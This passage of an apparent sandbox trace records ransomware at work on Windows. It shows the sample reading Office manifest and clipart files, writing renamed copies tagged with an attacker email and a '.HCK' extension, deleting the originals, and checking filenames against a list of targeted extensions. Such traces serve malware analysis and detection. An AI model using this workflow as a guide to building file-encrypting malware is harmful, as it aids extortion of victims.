office\\packagemanifests\\appxmanifestloc.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0153.327] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.327] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0153.327] GetLastError () returned 0x0 [0153.327] ReadFile (in: hFile=0x2e8, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x2667, lpOverlapped=0x0) returned 1 [0153.331] WriteFile (in: hFile=0x308, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x2670, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x2670, lpOverlapped=0x0) returned 1 [0153.331] ReadFile (in: hFile=0x2e8, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0153.331] WriteFile (in: hFile=0x308, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x106, lpOverlapped=0x0) returned 1 [0153.331] SetEndOfFile (hFile=0x308) returned 1 [0153.332] CloseHandle (hObject=0x308) returned 1 [0153.332] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.332] SetEndOfFile (hFile=0x2e8) returned 1 [0153.333] CloseHandle (hObject=0x2e8) returned 1 [0153.333] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0153.333] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml")) returned 1 [0153.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0153.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0153.334] lstrlenW (lpString=".doc") returned 4 [0153.334] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0153.334] lstrlenW (lpString=".docx") returned 5 [0153.334] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0153.334] lstrlenW (lpString=".pdf") returned 4 [0153.334] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0153.334] lstrlenW (lpString=".xls") returned 4 [0153.334] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0153.334] lstrlenW (lpString=".xlsx") returned 5 [0153.334] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0153.334] lstrlenW (lpString=".ppt") returned 4 [0153.334] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0153.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0153.334] lstrlenW (lpString=".zip") returned 4 [0153.334] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0153.334] lstrlenW (lpString=".rar") returned 4 [0153.334] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0153.334] lstrlenW (lpString=".bz2") returned 4 [0153.334] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0153.334] lstrlenW (lpString=".7z") returned 3 [0153.334] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0153.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0153.334] lstrlenW (lpString=".dbf") returned 4 [0153.334] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0153.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0153.334] lstrlenW (lpString=".1cd") returned 4 [0153.334] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0153.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0153.334] lstrlenW (lpString=".jpg") returned 4 [0153.334] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0153.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0153.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0153.334] lstrlenW (lpString=".doc") returned 4 [0153.334] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0153.334] lstrlenW (lpString=".docx") returned 5 [0153.334] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0153.334] lstrlenW (lpString=".pdf") returned 4 [0153.335] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0153.335] lstrlenW (lpString=".xls") returned 4 [0153.335] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0153.335] lstrlenW (lpString=".xlsx") returned 5 [0153.335] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0153.335] lstrlenW (lpString=".ppt") returned 4 [0153.335] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0153.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0153.335] lstrlenW (lpString=".zip") returned 4 [0153.335] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0153.335] lstrlenW (lpString=".rar") returned 4 [0153.335] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0153.335] lstrlenW (lpString=".bz2") returned 4 [0153.335] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0153.335] lstrlenW (lpString=".7z") returned 3 [0153.335] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0153.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0153.335] lstrlenW (lpString=".dbf") returned 4 [0153.335] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0153.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0153.335] lstrlenW (lpString=".1cd") returned 4 [0153.335] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0153.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0153.335] lstrlenW (lpString=".jpg") returned 4 [0153.335] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0153.335] lstrcmpiW (lpString1=".GIF", lpString2=".HCK") returned -1 [0153.335] lstrlenW (lpString="AG00004_.GIF") returned 12 [0153.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0153.345] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=9024) returned 1 [0153.345] CloseHandle (hObject=0x37c) returned 1 [0153.345] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif")) returned 0x220 [0153.345] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0153.346] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0153.346] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.346] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.346] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0153.347] GetLastError () returned 0x0 [0153.347] ReadFile (in: hFile=0x380, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x2340, lpOverlapped=0x0) returned 1 [0153.352] WriteFile (in: hFile=0x308, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x2350, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x2350, lpOverlapped=0x0) returned 1 [0153.352] ReadFile (in: hFile=0x380, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0153.353] WriteFile (in: hFile=0x308, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0153.353] SetEndOfFile (hFile=0x308) returned 1 [0153.353] CloseHandle (hObject=0x308) returned 1 [0153.354] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.354] SetEndOfFile (hFile=0x380) returned 1 [0153.354] CloseHandle (hObject=0x380) returned 1 [0153.354] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0153.355] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif")) returned 1 [0153.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0153.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0153.355] lstrlenW (lpString=".doc") returned 4 [0153.355] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0153.355] lstrlenW (lpString=".docx") returned 5 [0153.355] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0153.355] lstrlenW (lpString=".pdf") returned 4 [0153.355] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0153.355] lstrlenW (lpString=".xls") returned 4 [0153.355] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0153.355] lstrlenW (lpString=".xlsx") returned 5 [0153.355] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0153.355] lstrlenW (lpString=".ppt") returned 4 [0153.355] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0153.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0153.355] lstrlenW (lpString=".zip") returned 4 [0153.355] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0153.355] lstrlenW (lpString=".rar") returned 4 [0153.355] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0153.356] lstrlenW (lpString=".bz2") returned 4 [0153.356] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0153.356] lstrlenW (lpString=".7z") returned 3 [0153.356] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0153.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0153.356] lstrlenW (lpString=".dbf") returned 4 [0153.356] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0153.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0153.356] lstrlenW (lpString=".1cd") returned 4 [0153.356] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0153.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0153.356] lstrlenW (lpString=".jpg") returned 4 [0153.356] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0153.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0153.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0153.356] lstrlenW (lpString=".doc") returned 4 [0153.356] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0153.356] lstrlenW (lpString=".docx") returned 5 [0153.356] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0153.356] lstrlenW (lpString=".pdf") returned 4 [0153.356] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0153.356] lstrlenW (lpString=".xls") returned 4 [0153.356] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0153.356] lstrlenW (lpString=".xlsx") returned 5 [0153.356] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0153.356] lstrlenW (lpString=".ppt") returned 4 [0153.356] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0153.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0153.356] lstrlenW (lpString=".zip") returned 4 [0153.356] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0153.356] lstrlenW (lpString=".rar") returned 4 [0153.356] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0153.356] lstrlenW (lpString=".bz2") returned 4 [0153.356] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0153.356] lstrlenW (lpString=".7z") returned 3 [0153.356] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0153.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0153.356] lstrlenW (lpString=".dbf") returned 4 [0153.356] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0153.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0153.356] lstrlenW (lpString=".1cd") returned 4 [0153.356] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0153.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0153.356] lstrlenW (lpString=".jpg") returned 4 [0153.356] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0153.356] lstrcmpiW (lpString1=".GIF", lpString2=".HCK") returned -1 [0153.356] lstrlenW (lpString="AG00037_.GIF") returned 12 [0153.357] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0153.359] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=6684) returned 1 [0153.359] CloseHandle (hObject=0x37c) returned 1 [0153.359] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif")) returned 0x220 [0153.359] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0153.359] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0153.359] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.359] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.359] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0153.360] GetLastError () returned 0x0 [0153.360] ReadFile (in: hFile=0x37c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x1a1c, lpOverlapped=0x0) returned 1 [0153.362] WriteFile (in: hFile=0x2e8, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x1a20, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x1a20, lpOverlapped=0x0) returned 1 [0153.363] ReadFile (in: hFile=0x37c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0153.363] WriteFile (in: hFile=0x2e8, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0153.363] SetEndOfFile (hFile=0x2e8) returned 1 [0153.363] CloseHandle (hObject=0x2e8) returned 1 [0153.364] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.364] SetEndOfFile (hFile=0x37c) returned 1 [0153.365] CloseHandle (hObject=0x37c) returned 1 [0153.365] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0153.365] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif")) returned 1 [0153.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0153.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0153.365] lstrlenW (lpString=".doc") returned 4 [0153.365] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0153.365] lstrlenW (lpString=".docx") returned 5 [0153.365] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0153.365] lstrlenW (lpString=".pdf") returned 4 [0153.365] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0153.365] lstrlenW (lpString=".xls") returned 4 [0153.365] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0153.365] lstrlenW (lpString=".xlsx") returned 5 [0153.365] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0153.365] lstrlenW (lpString=".ppt") returned 4 [0153.366] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0153.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0153.366] lstrlenW (lpString=".zip") returned 4 [0153.366] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0153.366] lstrlenW (lpString=".rar") returned 4 [0153.366] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0153.366] lstrlenW (lpString=".bz2") returned 4 [0153.366] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0153.366] lstrlenW (lpString=".7z") returned 3 [0153.366] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0153.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0153.366] lstrlenW (lpString=".dbf") returned 4 [0153.366] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0153.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0153.366] lstrlenW (lpString=".1cd") returned 4 [0153.366] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0153.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0153.366] lstrlenW (lpString=".jpg") returned 4 [0153.366] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0153.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0153.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0153.366] lstrlenW (lpString=".doc") returned 4 [0153.366] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0153.366] lstrlenW (lpString=".docx") returned 5 [0153.366] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0153.366] lstrlenW (lpString=".pdf") returned 4 [0153.366] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0153.366] lstrlenW (lpString=".xls") returned 4 [0153.366] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0153.366] lstrlenW (lpString=".xlsx") returned 5 [0153.366] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0153.366] lstrlenW (lpString=".ppt") returned 4 [0153.366] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0153.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0153.366] lstrlenW (lpString=".zip") returned 4 [0153.366] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0153.366] lstrlenW (lpString=".rar") returned 4 [0153.366] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0153.366] lstrlenW (lpString=".bz2") returned 4 [0153.366] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0153.366] lstrlenW (lpString=".7z") returned 3 [0153.366] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0153.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0153.366] lstrlenW (lpString=".dbf") returned 4 [0153.366] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0153.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0153.366] lstrlenW (lpString=".1cd") returned 4 [0153.366] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0153.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0153.366] lstrlenW (lpString=".jpg") returned 4 [0153.366] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0153.367] lstrcmpiW (lpString1=".GIF", lpString2=".HCK") returned -1 [0153.367] lstrlenW (lpString="AG00040_.GIF") returned 12 [0153.367] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0153.367] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=8097) returned 1 [0153.367] CloseHandle (hObject=0x37c) returned 1 [0153.367] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif")) returned 0x220 [0153.367] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0153.367] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0153.367] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.367] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.367] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 